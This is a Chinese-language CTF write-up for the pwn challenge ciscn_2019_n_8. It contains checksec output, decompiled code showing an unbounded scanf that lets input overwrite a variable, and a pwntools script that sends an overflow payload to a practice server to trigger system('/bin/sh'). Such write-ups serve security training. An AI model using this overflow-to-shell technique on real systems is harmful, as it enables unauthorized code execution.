解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:[[Stack溢出覆盖内存]]
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:
获得shell或flag:[[调用程序中的system]]
学到的知识:
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file ciscn_2019_n_8
ciscn_2019_n_8: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=44b5b2d71c377819ef3c53a4511038cd2b25a368, for GNU/Linux 3.2.0, not stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=ciscn_2019_n_8
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 79) Symbols No 0 1ciscn_2019_n_8
libc版本:
wp借鉴:
核心伪代码分析:
存在利用的的代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
分析:
通过栈溢出实现* ( _ QWORD * )& var [ 13 ] == 17LL
即可。
脚本:
from pwn import *
context(log_level='debug',arch='i386',os='linux')
pwnfile='./ciscn_2019_n_8'
sh=remote('node4.buuoj.cn',26596)
#sh=process(pwnfile)
payload=13*4*b'a'+p32(17)
#gdb.attach(sh)
#pause()
sh.sendline(payload)
sh.interactive()